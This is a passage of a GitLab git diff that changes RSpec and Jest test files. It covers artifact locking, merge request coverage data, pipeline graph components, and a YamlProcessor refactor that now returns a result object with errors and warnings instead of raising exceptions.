expect(json_response['artifact']).not_to have_key('browse_path') - expect(json_response['artifact']['expired']).to eq(true) - expect(json_response['artifact']['expire_at']).not_to be_empty + context 'when artifacts are unlocked' do + before do + job.pipeline.unlocked! + end + + it 'exposes needed information' do + get_show_json + + expect(response).to have_gitlab_http_status(:ok) + expect(response).to match_response_schema('job/job_details') + expect(json_response['artifact']).not_to have_key('download_path') + expect(json_response['artifact']).not_to have_key('browse_path') + expect(json_response['artifact']).not_to have_key('keep_path') + expect(json_response['artifact']['expired']).to eq(true) + expect(json_response['artifact']['expire_at']).not_to be_empty + expect(json_response['artifact']['locked']).to eq(false) + end + end + + context 'when artifacts are locked' do + before do + job.pipeline.artifacts_locked! + end + + it 'exposes needed information' do + get_show_json + + expect(response).to have_gitlab_http_status(:ok) + expect(response).to match_response_schema('job/job_details') + expect(json_response['artifact']).to have_key('download_path') + expect(json_response['artifact']).to have_key('browse_path') + expect(json_response['artifact']).to have_key('keep_path') + expect(json_response['artifact']['expired']).to eq(true) + expect(json_response['artifact']['expire_at']).not_to be_empty + expect(json_response['artifact']['locked']).to eq(true) + end end end end diff --git a/spec/controllers/projects/merge_requests/content_controller_spec.rb b/spec/controllers/projects/merge_requests/content_controller_spec.rb index af1682759cf..67d3ef6f4f0 100644 --- a/spec/controllers/projects/merge_requests/content_controller_spec.rb +++ b/spec/controllers/projects/merge_requests/content_controller_spec.rb @@ -49,6 +49,7 @@ RSpec.describe Projects::MergeRequests::ContentController do do_request(:widget) + expect(response).to match_response_schema('entities/merge_request_poll_widget') expect(response.headers['Poll-Interval']).to eq('10000') end @@ -64,6 +65,20 @@ RSpec.describe Projects::MergeRequests::ContentController do expect(response.headers['Poll-Interval']).to eq('300000') end end + + context 'with coverage data' do + let(:merge_request) { create(:merge_request, target_project: project, source_project: project, head_pipeline: head_pipeline) } + let!(:base_pipeline) { create(:ci_empty_pipeline, project: project, ref: merge_request.target_branch, sha: merge_request.diff_base_sha) } + let!(:head_pipeline) { create(:ci_empty_pipeline, project: project) } + let!(:rspec_base) { create(:ci_build, name: 'rspec', coverage: 93.1, pipeline: base_pipeline) } + let!(:rspec_head) { create(:ci_build, name: 'rspec', coverage: 97.1, pipeline: head_pipeline) } + + it 'renders widget MR entity as json' do + do_request(:widget) + + expect(response).to match_response_schema('entities/merge_request_poll_widget') + end + end end end diff --git a/spec/factories/instance_statistics/measurement.rb b/spec/factories/instance_statistics/measurement.rb new file mode 100644 index 00000000000..6c367251dc6 --- /dev/null +++ b/spec/factories/instance_statistics/measurement.rb @@ -0,0 +1,9 @@ +# frozen_string_literal: true + +FactoryBot.define do + factory :instance_statistics_measurement, class: 'Analytics::InstanceStatistics::Measurement' do + recorded_at { Time.now } + identifier { Analytics::InstanceStatistics::Measurement.identifiers[:projects] } + count { 1_000 } + end +end diff --git a/spec/features/projects/jobs_spec.rb b/spec/features/projects/jobs_spec.rb index 0a6f204454e..404c3e93586 100644 --- a/spec/features/projects/jobs_spec.rb +++ b/spec/features/projects/jobs_spec.rb @@ -373,13 +373,29 @@ RSpec.describe 'Jobs', :clean_gitlab_redis_shared_state do let(:expire_at) { Time.now + 7.days } context 'when user has ability to update job' do - it 'keeps artifacts when keep button is clicked' do - expect(page).to have_content 'The artifacts will be removed in' + context 'when artifacts are unlocked' do + before do + job.pipeline.unlocked! + end - click_link 'Keep' + it 'keeps artifacts when keep button is clicked' do + expect(page).to have_content 'The artifacts will be removed in' - expect(page).to have_no_link 'Keep' - expect(page).to have_no_content 'The artifacts will be removed in' + click_link 'Keep' + + expect(page).to have_no_link 'Keep' + expect(page).to have_no_content 'The artifacts will be removed in' + end + end + + context 'when artifacts are locked' do + before do + job.pipeline.artifacts_locked! + end + + it 'shows the keep button' do + expect(page).to have_link 'Keep' + end end end @@ -395,9 +411,26 @@ RSpec.describe 'Jobs', :clean_gitlab_redis_shared_state do context 'when artifacts expired' do let(:expire_at) { Time.now - 7.days } - it 'does not have the Keep button' do - expect(page).to have_content 'The artifacts were removed' - expect(page).not_to have_link 'Keep' + context 'when artifacts are unlocked' do + before do + job.pipeline.unlocked! + end + + it 'does not have the Keep button' do + expect(page).to have_content 'The artifacts were removed' + expect(page).not_to have_link 'Keep' + end + end + + context 'when artifacts are locked' do + before do + job.pipeline.artifacts_locked! + end + + it 'has the Keep button' do + expect(page).not_to have_content 'The artifacts were removed' + expect(page).to have_link 'Keep' + end end end end diff --git a/spec/fixtures/api/schemas/entities/merge_request_poll_widget.json b/spec/fixtures/api/schemas/entities/merge_request_poll_widget.json index 1eda0e12920..be2fe19b067 100644 --- a/spec/fixtures/api/schemas/entities/merge_request_poll_widget.json +++ b/spec/fixtures/api/schemas/entities/merge_request_poll_widget.json @@ -22,6 +22,14 @@ "only_allow_merge_if_pipeline_succeeds": { "type": "boolean" }, "has_ci": { "type": "boolean" }, "ci_status": { "type": ["string", "null"] }, + "pipeline_coverage_delta": { "type": ["float", "null"] }, + "builds_with_coverage": { + "type": ["array", "null"], + "items": { + "type": "object", + "required": ["name", "coverage"] + } + }, "cancel_auto_merge_path": { "type": ["string", "null"] }, "test_reports_path": { "type": ["string", "null"] }, "create_issue_to_resolve_discussions_path": { "type": ["string", "null"] }, diff --git a/spec/frontend/diffs/components/diff_file_spec.js b/spec/frontend/diffs/components/diff_file_spec.js index 9c38e536034..0b0a7f966c5 100644 --- a/spec/frontend/diffs/components/diff_file_spec.js +++ b/spec/frontend/diffs/components/diff_file_spec.js @@ -128,26 +128,6 @@ describe('DiffFile', () => { }); }); - it('should auto-expand collapsed files when viewDiffsFileByFile is true', done => { - vm.$destroy(); - window.gon = { - features: { autoExpandCollapsedDiffs: true }, - }; - vm = createComponentWithStore(Vue.extend(DiffFileComponent), createStore(), { - file: JSON.parse(JSON.stringify(diffFileMockDataUnreadable)), - canCurrentUserFork: false, - viewDiffsFileByFile: true, - }).$mount(); - - vm.$nextTick(() => { - expect(vm.$el.innerText).not.toContain('This diff is collapsed'); - - window.gon = {}; - - done(); - }); - }); - it('should be collapsed for renamed files', done => { vm.renderIt = true; vm.isCollapsed = false; diff --git a/spec/frontend/diffs/components/merge_conflict_warning_spec.js b/spec/frontend/diffs/components/merge_conflict_warning_spec.js new file mode 100644 index 00000000000..2f303f25f66 --- /dev/null +++ b/spec/frontend/diffs/components/merge_conflict_warning_spec.js @@ -0,0 +1,77 @@ +import { shallowMount, mount } from '@vue/test-utils'; +import MergeConflictWarning from '~/diffs/components/merge_conflict_warning.vue'; +import { CENTERED_LIMITED_CONTAINER_CLASSES } from '~/diffs/constants'; + +const propsData = { + limited: true, + mergeable: true, + resolutionPath: 'a-path', +}; +const limitedClasses = CENTERED_LIMITED_CONTAINER_CLASSES.split(' '); + +function findResolveButton(wrapper) { + return wrapper.find('.gl-alert-actions a.gl-button:first-child'); +} +function findLocalMergeButton(wrapper) { + return wrapper.find('.gl-alert-actions button.gl-button:last-child'); +} + +describe('MergeConflictWarning', () => { + let wrapper; + + const createComponent = (props = {}, { full } = { full: false }) => { + const mounter = full ? mount : shallowMount; + + wrapper = mounter(MergeConflictWarning, { + propsData: { ...propsData, ...props }, + }); + }; + + afterEach(() => { + wrapper.destroy(); + }); + + it.each` + limited | containerClasses + ${true} | ${limitedClasses} + ${false} | ${[]} + `( + 'has the correct container classes when limited is $limited', + ({ limited, containerClasses }) => { + createComponent({ limited }); + + expect(wrapper.classes()).toEqual(containerClasses); + }, + ); + + it.each` + present | resolutionPath + ${false} | ${''} + ${true} | ${'some-path'} + `( + 'toggles the resolve conflicts button based on the provided resolutionPath "$resolutionPath"', + ({ present, resolutionPath }) => { + createComponent({ resolutionPath }, { full: true }); + const resolveButton = findResolveButton(wrapper); + + expect(resolveButton.exists()).toBe(present); + if (present) { + expect(resolveButton.attributes('href')).toBe(resolutionPath); + } + }, + ); + + it.each` + present | mergeable + ${false} | ${false} + ${true} | ${true} + `( + 'toggles the local merge button based on the provided mergeable property "$mergable"', + ({ present, mergeable }) => { + createComponent({ mergeable }, { full: true }); + const localMerge = findLocalMergeButton(wrapper); + + expect(localMerge.exists()).toBe(present); + }, + ); +}); diff --git a/spec/frontend/pipelines/graph/graph_component_spec.js b/spec/frontend/pipelines/graph/graph_component_spec.js index 1389649abea..d977db58a0e 100644 --- a/spec/frontend/pipelines/graph/graph_component_spec.js +++ b/spec/frontend/pipelines/graph/graph_component_spec.js @@ -16,6 +16,9 @@ describe('graph component', () => { let wrapper; + const findExpandPipelineBtn = () => wrapper.find('[data-testid="expandPipelineButton"]'); + const findAllExpandPipelineBtns = () => wrapper.findAll('[data-testid="expandPipelineButton"]'); + beforeEach(() => { setHTMLFixture('<div class="layout-page"></div>'); }); @@ -167,7 +170,7 @@ describe('graph component', () => { describe('triggered by', () => { describe('on click', () => { it('should emit `onClickTriggeredBy` when triggered by linked pipeline is clicked', () => { - const btnWrapper = wrapper.find('.linked-pipeline-content'); + const btnWrapper = findExpandPipelineBtn(); btnWrapper.trigger('click'); @@ -213,7 +216,7 @@ describe('graph component', () => { ), }); - const btnWrappers = wrapper.findAll('.linked-pipeline-content'); + const btnWrappers = findAllExpandPipelineBtns(); const downstreamBtnWrapper = btnWrappers.at(btnWrappers.length - 1); downstreamBtnWrapper.trigger('click'); diff --git a/spec/frontend/pipelines/graph/job_item_spec.js b/spec/frontend/pipelines/graph/job_item_spec.js index 2c5e7a1f6e9..46b87fb44ad 100644 --- a/spec/frontend/pipelines/graph/job_item_spec.js +++ b/spec/frontend/pipelines/graph/job_item_spec.js @@ -13,6 +13,7 @@ describe('pipeline graph job item', () => { }); }; + const triggerActiveClass = 'gl-shadow-x0-y0-b3-s1-blue-500'; const delayedJobFixture = getJSONFixture('jobs/delayed.json'); const mockJob = { id: 4256, @@ -33,6 +34,18 @@ describe('pipeline graph job item', () => { }, }, }; + const mockJobWithoutDetails = { + id: 4257, + name: 'test', + status: { + icon: 'status_success', + text: 'passed', + label: 'passed', + group: 'success', + details_path: '/root/ci-mock/builds/4257', + has_details: false, + }, + }; afterEach(() => { wrapper.destroy(); @@ -61,18 +74,7 @@ describe('pipeline graph job item', () => { describe('name without link', () => { beforeEach(() => { createWrapper({ - job: { - id: 4257, - name: 'test', - status: { - icon: 'status_success', - text: 'passed', - label: 'passed', - group: 'success', - details_path: '/root/ci-mock/builds/4257', - has_details: false, - }, - }, + job: mockJobWithoutDetails, cssClassJobName: 'css-class-job-name', jobHovered: 'test', }); @@ -86,7 +88,7 @@ describe('pipeline graph job item', () => { }); it('should apply hover class and provided class name', () => { - expect(findJobWithoutLink().classes()).toContain('gl-inset-border-1-blue-500'); + expect(findJobWithoutLink().classes()).toContain(triggerActiveClass); expect(findJobWithoutLink().classes()).toContain('css-class-job-name'); }); }); @@ -154,4 +156,24 @@ describe('pipeline graph job item', () => { ); }); }); + + describe('trigger job highlighting', () => { + it('trigger job should stay highlighted when downstream is expanded', () => { + createWrapper({ + job: mockJobWithoutDetails, + pipelineExpanded: { jobName: mockJob.name, expanded: true }, + }); + + expect(findJobWithoutLink().classes()).toContain(triggerActiveClass); + }); + + it('trigger job should not be highlighted when downstream is closed', () => { + createWrapper({ + job: mockJobWithoutDetails, + pipelineExpanded: { jobName: mockJob.name, expanded: false }, + }); + + expect(findJobWithoutLink().classes()).not.toContain(triggerActiveClass); + }); + }); }); diff --git a/spec/frontend/pipelines/graph/linked_pipeline_spec.js b/spec/frontend/pipelines/graph/linked_pipeline_spec.js index 4a5b1b17d03..d2afc1a1d55 100644 --- a/spec/frontend/pipelines/graph/linked_pipeline_spec.js +++ b/spec/frontend/pipelines/graph/linked_pipeline_spec.js @@ -1,5 +1,5 @@ import { mount } from '@vue/test-utils'; -import { GlButton } from '@gitlab/ui'; +import { GlButton, GlLoadingIcon } from '@gitlab/ui'; import LinkedPipelineComponent from '~/pipelines/components/graph/linked_pipeline.vue'; import CiStatus from '~/vue_shared/components/ci_icon.vue'; @@ -16,10 +16,18 @@ describe('Linked pipeline', () => { const findButton = () => wrapper.find(GlButton); const findPipelineLabel = () => wrapper.find('[data-testid="downstream-pipeline-label"]'); const findLinkedPipeline = () => wrapper.find({ ref: 'linkedPipeline' }); + const findLoadingIcon = () => wrapper.find(GlLoadingIcon); + const findPipelineLink = () => wrapper.find('[data-testid="childPipelineLink"]'); + const findExpandButton = () => wrapper.find('[data-testid="expandPipelineButton"]'); - const createWrapper = propsData => { + const createWrapper = (propsData, data = []) => { wrapper = mount(LinkedPipelineComponent, { propsData, + data() { + return { + ...data, + }; + }, }); }; @@ -76,7 +84,7 @@ describe('Linked pipeline', () => { }); it('should render the tooltip text as the title attribute', () => { - const titleAttr = findButton().attributes('title'); + const titleAttr = findLinkedPipeline().attributes('title'); expect(titleAttr).toContain(mockPipeline.project.name); expect(titleAttr).toContain(mockPipeline.details.status.label); @@ -117,6 +125,56 @@ describe('Linked pipeline', () => { createWrapper(upstreamProps); expect(findPipelineLabel().exists()).toBe(true); }); + + it('downsteram pipeline should link to the child pipeline if child', () => { + createWrapper(downstreamProps); + expect(findPipelineLink().attributes('href')).toBe(mockData.triggered_by.path); + }); + + it('upstream pipeline should not contain a link', () => { + createWrapper(upstreamProps); + expect(findPipelineLink().exists()).toBe(false); + }); + + it.each` + presentClass | missingClass + ${'gl-right-0'} | ${'gl-left-0'} + ${'gl-border-l-1!'} | ${'gl-border-r-1!'} + `( + 'pipeline expand button should be postioned right when child pipeline', + ({ presentClass, missingClass }) => { + createWrapper(downstreamProps); + expect(findExpandButton().classes()).toContain(presentClass); + expect(findExpandButton().classes()).not.toContain(missingClass); + }, + ); + + it.each` + presentClass | missingClass + ${'gl-left-0'} | ${'gl-right-0'} + ${'gl-border-r-1!'} | ${'gl-border-l-1!'} + `( + 'pipeline expand button should be postioned left when parent pipeline', + ({ presentClass, missingClass }) => { + createWrapper(upstreamProps); + expect(findExpandButton().classes()).toContain(presentClass); + expect(findExpandButton().classes()).not.toContain(missingClass); + }, + ); + + it.each` + pipelineType | anglePosition | expanded + ${downstreamProps} | ${'angle-right'} | ${false} + ${downstreamProps} | ${'angle-left'} | ${true} + ${upstreamProps} | ${'angle-left'} | ${false} + ${upstreamProps} | ${'angle-right'} | ${true} + `( + '$pipelineType.columnTitle pipeline button icon should be $anglePosition if expanded state is $expanded', + ({ pipelineType, anglePosition, expanded }) => { + createWrapper(pipelineType, { expanded }); + expect(findExpandButton().props('icon')).toBe(anglePosition); + }, + ); }); describe('when isLoading is true', () => { @@ -130,8 +188,8 @@ describe('Linked pipeline', () => { createWrapper(props); }); - it('sets the loading prop to true', () => { - expect(findButton().props('loading')).toBe(true); + it('loading icon is visible', () => { + expect(findLoadingIcon().exists()).toBe(true); }); }); @@ -172,5 +230,10 @@ describe('Linked pipeline', () => { findLinkedPipeline().trigger('mouseleave'); expect(wrapper.emitted().downstreamHovered).toStrictEqual([['']]); }); + + it('should emit pipelineExpanded with job name and expanded state on click', () => { + findExpandButton().trigger('click'); + expect(wrapper.emitted().pipelineExpandToggle).toStrictEqual([['trigger_job', true]]); + }); }); }); diff --git a/spec/lib/gitlab/ci/config/normalizer_spec.rb b/spec/lib/gitlab/ci/config/normalizer_spec.rb index 75e6abf68de..7d186f37b14 100644 --- a/spec/lib/gitlab/ci/config/normalizer_spec.rb +++ b/spec/lib/gitlab/ci/config/normalizer_spec.rb @@ -264,5 +264,11 @@ RSpec.describe Gitlab::Ci::Config::Normalizer do is_expected.to match(config) end end + + context 'when jobs config is nil' do + let(:config) { nil } + + it { is_expected.to eq({}) } + end end end diff --git a/spec/lib/gitlab/ci/config_spec.rb b/spec/lib/gitlab/ci/config_spec.rb index 18be9558829..41a45fe4ab7 100644 --- a/spec/lib/gitlab/ci/config_spec.rb +++ b/spec/lib/gitlab/ci/config_spec.rb @@ -312,7 +312,7 @@ RSpec.describe Gitlab::Ci::Config do HEREDOC end - it 'raises error YamlProcessor validationError' do + it 'raises ConfigError' do expect { config }.to raise_error( described_class::ConfigError, "Included file `invalid` does not have YAML extension!" @@ -329,7 +329,7 @@ RSpec.describe Gitlab::Ci::Config do HEREDOC end - it 'raises error YamlProcessor validationError' do + it 'raises ConfigError' do expect { config }.to raise_error( described_class::ConfigError, 'Include `{"remote":"http://url","local":"/local/file.yml"}` needs to match exactly one accessor!' diff --git a/spec/lib/gitlab/ci/lint_spec.rb b/spec/lib/gitlab/ci/lint_spec.rb index a895ac45bc6..02533779457 100644 --- a/spec/lib/gitlab/ci/lint_spec.rb +++ b/spec/lib/gitlab/ci/lint_spec.rb @@ -157,7 +157,7 @@ RSpec.describe Gitlab::Ci::Lint do it 'uses YamlProcessor' do expect(Gitlab::Ci::YamlProcessor) - .to receive(:new_with_validation_errors) + .to receive(:new) .and_call_original subject diff --git a/spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb index de580d2e148..1be4c80bf4a 100644 --- a/spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb +++ b/spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb @@ -31,20 +31,20 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Validate::External do CI_YAML end - let(:yaml_processor) do + let(:yaml_processor_result) do ::Gitlab::Ci::YamlProcessor.new( ci_yaml, { project: project, sha: pipeline.sha, user: user } - ) + ).execute end let(:save_incompleted) { true } let(:command) do Gitlab::Ci::Pipeline::Chain::Command.new( - project: project, current_user: user, config_processor: yaml_processor, save_incompleted: save_incompleted + project: project, current_user: user, config_processor: yaml_processor_result, save_incompleted: save_incompleted ) end diff --git a/spec/lib/gitlab/ci/templates/templates_spec.rb b/spec/lib/gitlab/ci/templates/templates_spec.rb index def4d1b3bf6..685243d6315 100644 --- a/spec/lib/gitlab/ci/templates/templates_spec.rb +++ b/spec/lib/gitlab/ci/templates/templates_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' RSpec.describe 'CI YML Templates' do - subject { Gitlab::Ci::YamlProcessor.new(content) } + subject { Gitlab::Ci::YamlProcessor.new(content).execute } let(:all_templates) { Gitlab::Template::GitlabCiYmlTemplate.all.map(&:full_name) } @@ -33,7 +33,7 @@ RSpec.describe 'CI YML Templates' do end it 'is valid' do - expect { subject }.not_to raise_error + expect(subject).to be_valid end it 'require default stages to be included' do diff --git a/spec/lib/gitlab/ci/yaml_processor_spec.rb b/spec/lib/gitlab/ci/yaml_processor_spec.rb index 6e8652b3857..d596494a987 100644 --- a/spec/lib/gitlab/ci/yaml_processor_spec.rb +++ b/spec/lib/gitlab/ci/yaml_processor_spec.rb @@ -7,16 +7,16 @@ module Gitlab RSpec.describe YamlProcessor do include StubRequests - subject { described_class.new(config, user: nil) } + subject { described_class.new(config, user: nil).execute } shared_examples 'returns errors' do |error_message| - it 'raises exception when error encountered' do - expect { subject }.to raise_error(described_class::ValidationError, error_message) + it 'adds a message when an error is encountered' do + expect(subject.errors).to include(error_message) end end describe '#build_attributes' do - subject { described_class.new(config, user: nil).build_attributes(:rspec) } + subject { described_class.new(config, user: nil).execute.build_attributes(:rspec) } describe 'attributes list' do let(:config) do @@ -98,7 +98,7 @@ module Gitlab config = YAML.dump({ default: { tags: %w[A B] }, rspec: { script: "rspec" } }) - config_processor = Gitlab::Ci::YamlProcessor.new(config) + config_processor = Gitlab::Ci::YamlProcessor.new(config).execute expect(config_processor.stage_builds_attributes("test").size).to eq(1) expect(config_processor.stage_builds_attributes("test").first).to eq({ @@ -145,7 +145,7 @@ module Gitlab config = YAML.dump({ default: { interruptible: true }, rspec: { script: "rspec" } }) - config_processor = Gitlab::Ci::YamlProcessor.new(config) + config_processor = Gitlab::Ci::YamlProcessor.new(config).execute expect(config_processor.stage_builds_attributes("test").size).to eq(1) expect(config_processor.stage_builds_attributes("test").first).to eq({ @@ -474,9 +474,8 @@ module Gitlab end it 'is propagated all the way up into the raised exception' do - expect { subject }.to raise_error do |error| - expect(error.warnings).to contain_exactly(/jobs:rspec may allow multiple pipelines to run/) - end + expect(subject).not_to be_valid + expect(subject.warnings).to contain_exactly(/jobs:rspec may allow multiple pipelines to run/) end it_behaves_like 'returns errors', 'jobs:invalid:artifacts config should be a hash' @@ -493,10 +492,8 @@ module Gitlab EOYML end - it 'raises an exception with empty warnings array' do - expect { subject }.to raise_error do |error| - expect(error.warnings).to be_empty - end + it 'has empty warnings' do + expect(subject.warnings).to be_empty end it_behaves_like 'returns errors', 'Local file `unknown/file.yml` does not have project!' @@ -504,12 +501,9 @@ module Gitlab context 'when error is raised after composing the config with warnings' do shared_examples 'has warnings and expected error' do |error_message| - it 'raises an exception including warnings' do - expect { subject }.to raise_error do |error| - expect(error).to be_a(described_class::ValidationError) - expect(error.message).to match(error_message) - expect(error.warnings).to be_present - end + it 'returns errors and warnings', :aggregate_failures do + expect(subject.errors).to include(error_message) + expect(subject.warnings).to be_present end end @@ -590,7 +584,7 @@ module Gitlab context 'when `only` has an invalid value' do let(:config) { { rspec: { script: "rspec", type: "test", only: only } } } - subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)) } + subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)).execute } context 'when it is integer' do let(:only) { 1 } @@ -614,7 +608,7 @@ module Gitlab context 'when `except` has an invalid value' do let(:config) { { rspec: { script: "rspec", except: except } } } - subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)) } + subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)).execute } context 'when it is integer' do let(:except) { 1 } @@ -638,7 +632,7 @@ module Gitlab describe "Scripts handling" do let(:config_data) { YAML.dump(config) } - let(:config_processor) { Gitlab::Ci::YamlProcessor.new(config_data) } + let(:config_processor) { Gitlab::Ci::YamlProcessor.new(config_data).execute } subject { config_processor.stage_builds_attributes('test').first } @@ -807,7 +801,7 @@ module Gitlab before_script: ["pwd"], rspec: { script: "rspec" } }) - config_processor = Gitlab::Ci::YamlProcessor.new(config) + config_processor = Gitlab::Ci::YamlProcessor.new(config).execute expect(config_processor.stage_builds_attributes("test").size).to eq(1) expect(config_processor.stage_builds_attributes("test").first).to eq({ @@ -840,7 +834,7 @@ module Gitlab command: ["/usr/local/bin/init", "run"] }, "docker:dind"], script: "rspec" } }) - config_processor = Gitlab::Ci::YamlProcessor.new(config) + config_processor = Gitlab::Ci::YamlProcessor.new(config).execute expect(config_processor.stage_builds_attributes("test").size).to eq(1) expect(config_processor.stage_builds_attributes("test").first).to eq({ @@ -871,7 +865,7 @@ module Gitlab before_script: ["pwd"], rspec: { script: "rspec" } }) - config_processor = Gitlab::Ci::YamlProcessor.new(config) + config_processor = Gitlab::Ci::YamlProcessor.new(config).execute expect(config_processor.stage_builds_attributes("test").size).to eq(1) expect(config_processor.stage_builds_attributes("test").first).to eq({ @@ -898,7 +892,7 @@ module Gitlab before_script: ["pwd"], rspec: { image: "ruby:2.5", services: ["postgresql", "docker:dind"], script: "rspec" } }) - config_processor = Gitlab::Ci::YamlProcessor.new(config) + config_processor = Gitlab::Ci::YamlProcessor.new(config).execute expect(config_processor.stage_builds_attributes("test").size).to eq(1) expect(config_processor.stage_builds_attributes("test").first).to eq({ @@ -922,9 +916,9 @@ module Gitlab end describe 'Variables' do - let(:config_processor) { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)) } + subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)).execute } - subject { config_processor.builds.first[:yaml_variables] } + let(:build_variables) { subject.builds.first[:yaml_variables] } context 'when global variables are defined' do let(:variables) do @@ -940,7 +934,7 @@ module Gitlab end it 'returns global variables' do - expect(subject).to contain_exactly( + expect(build_variables).to contain_exactly( { key: 'VAR1', value: 'value1', public: true }, { key: 'VAR2', value: 'value2', public: true } ) @@ -968,7 +962,7 @@ module Gitlab let(:inherit) { } it 'returns all unique variables' do - expect(subject).to contain_exactly( + expect(build_variables).to contain_exactly( { key: 'VAR4', value: 'global4', public: true }, { key: 'VAR3', value: 'global3', public: true }, { key: 'VAR1', value: 'value1', public: true }, @@ -981,7 +975,7 @@ module Gitlab let(:inherit) { { variables: false } } it 'does not inherit variables' do - expect(subject).to contain_exactly( + expect(build_variables).to contain_exactly( { key: 'VAR1', value: 'value1', public: true }, { key: 'VAR2', value: 'value2', public: true } ) @@ -992,7 +986,7 @@ module Gitlab let(:inherit) { { variables: %w[VAR1 VAR4] } } it 'returns all unique variables and inherits only specified variables' do - expect(subject).to contain_exactly( + expect(build_variables).to contain_exactly( { key: 'VAR4', value: 'global4', public: true }, { key: 'VAR1', value: 'value1', public: true }, { key: 'VAR2', value: 'value2', public: true } @@ -1015,7 +1009,7 @@ module Gitlab end it 'returns job variables' do - expect(subject).to contain_exactly( + expect(build_variables).to contain_exactly( { key: 'VAR1', value: 'value1', public: true }, { key: 'VAR2', value: 'value2', public: true } ) @@ -1041,8 +1035,8 @@ module Gitlab # When variables config is empty, we assume this is a valid # configuration, see issue #18775 # - expect(subject).to be_an_instance_of(Array) - expect(subject).to be_empty + expect(build_variables).to be_an_instance_of(Array) + expect(build_variables).to be_empty end end end @@ -1057,14 +1051,14 @@ module Gitlab end it 'returns empty array' do - expect(subject).to be_an_instance_of(Array) - expect(subject).to be_empty + expect(build_variables).to be_an_instance_of(Array) + expect(build_variables).to be_empty end end end context 'when using `extends`' do - let(:config_processor) { Gitlab::Ci::YamlProcessor.new(config) } + let(:config_processor) { Gitlab::Ci::YamlProcessor.new(config).execute } subject { config_processor.builds.first } @@ -1126,15 +1120,13 @@ module Gitlab } end - subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config), opts) } + subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config), opts).execute } context "when validating a ci config file with no project context" do context "when a single string is provided" do let(:include_content) { "/local.gitlab-ci.yml" } - it "returns a validation error" do - expect { subject }.to raise_error /does not have project/ - end + it_behaves_like 'returns errors', /does not have project/ end context "when an array is provided" do @@ -1165,9 +1157,7 @@ module Gitlab body: 'prepare: { script: ls -al }') end - it "does not return any error" do - expect { subject }.not_to raise_error - end + it { is_expected.to be_valid } end context "when the include type is incorrect" do @@ -1188,9 +1178,7 @@ module Gitlab .and_return(YAML.dump({ job1: { script: 'hello' } })) end - it "does not return an error" do - expect { subject }.not_to raise_error - end + it { is_expected.to be_valid } end context "when the included internal file is not present" do @@ -1206,7 +1194,7 @@ module Gitlab rspec: { script: 'rspec', when: when_state } }) - config_processor = Gitlab::Ci::YamlProcessor.new(config) + config_processor = Gitlab::Ci::YamlProcessor.new(config).execute builds = config_processor.stage_builds_attributes("test") expect(builds.size).to eq(1) @@ -1250,7 +1238,7 @@ module Gitlab variables: { 'VAR1' => 1 } }) end - let(:config_processor) { Gitlab::Ci::YamlProcessor.new(config) } + let(:config_processor) { Gitlab::Ci::YamlProcessor.new(config).execute } let(:builds) { config_processor.stage_builds_attributes('test') } context 'when job is parallelized' do @@ -1366,7 +1354,7 @@ module Gitlab } }) - config_processor = Gitlab::Ci::YamlProcessor.new(config) + config_processor = Gitlab::Ci::YamlProcessor.new(config).execute expect(config_processor.stage_builds_attributes("test").size).to eq(1) expect(config_processor.stage_builds_attributes("test").first[:cache]).to eq( @@ -1388,7 +1376,7 @@ module Gitlab } }) - config_processor = Gitlab::Ci::YamlProcessor.new(config) + config_processor = Gitlab::Ci::YamlProcessor.new(config).execute expect(config_processor.stage_builds_attributes("test").size).to eq(1) expect(config_processor.stage_builds_attributes("test").first[:cache]).to eq( @@ -1407,7 +1395,7 @@ module Gitlab } }) - config_processor = Gitlab::Ci::YamlProcessor.new(config) + config_processor = Gitlab::Ci::YamlProcessor.new(config).execute expect(config_processor.stage_builds_attributes('test').size).to eq(1) expect(config_processor.stage_builds_attributes('test').first[:cache]).to eq( @@ -1430,7 +1418,7 @@ module Gitlab } ) - config_processor = Gitlab::Ci::YamlProcessor.new(config) + config_processor = Gitlab::Ci::YamlProcessor.new(config).execute expect(config_processor.stage_builds_attributes('test').size).to eq(1) expect(config_processor.stage_builds_attributes('test').first[:cache]).to eq( @@ -1453,7 +1441,7 @@ module Gitlab } ) - config_processor = Gitlab::Ci::YamlProcessor.new(config) + config_processor = Gitlab::Ci::YamlProcessor.new(config).execute expect(config_processor.stage_builds_attributes('test').size).to eq(1) expect(config_processor.stage_builds_attributes('test').first[:cache]).to eq( @@ -1473,7 +1461,7 @@ module Gitlab } }) - config_processor = Gitlab::Ci::YamlProcessor.new(config) + config_processor = Gitlab::Ci::YamlProcessor.new(config).execute expect(config_processor.stage_builds_attributes("test").size).to eq(1) expect(config_processor.stage_builds_attributes("test").first[:cache]).to eq( @@ -1503,7 +1491,7 @@ module Gitlab } }) - config_processor = Gitlab::Ci::YamlProcessor.new(config) + config_processor = Gitlab::Ci::YamlProcessor.new(config).execute expect(config_processor.stage_builds_attributes("test").size).to eq(1) expect(config_processor.stage_builds_attributes("test").first).to eq({ @@ -1539,7 +1527,7 @@ module Gitlab } }) - config_processor = Gitlab::Ci::YamlProcessor.new(config) + config_processor = Gitlab::Ci::YamlProcessor.new(config).execute builds = config_processor.stage_builds_attributes("test") expect(builds.size).to eq(1) @@ -1555,7 +1543,7 @@ module Gitlab } }) - config_processor = Gitlab::Ci::YamlProcessor.new(config) + config_processor = Gitlab::Ci::YamlProcessor.new(config).execute builds = config_processor.stage_builds_attributes("test") expect(builds.size).to eq(1) @@ -1591,14 +1579,14 @@ module Gitlab - my/test/something YAML - attributes = Gitlab::Ci::YamlProcessor.new(config).build_attributes('test') + attributes = Gitlab::Ci::YamlProcessor.new(config).execute.build_attributes('test') expect(attributes.dig(*%i[options artifacts exclude])).to eq(%w[my/test/something]) end end describe "release" do - let(:processor) { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)) } + let(:processor) { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)).execute } let(:config) do { stages: %w[build test release], @@ 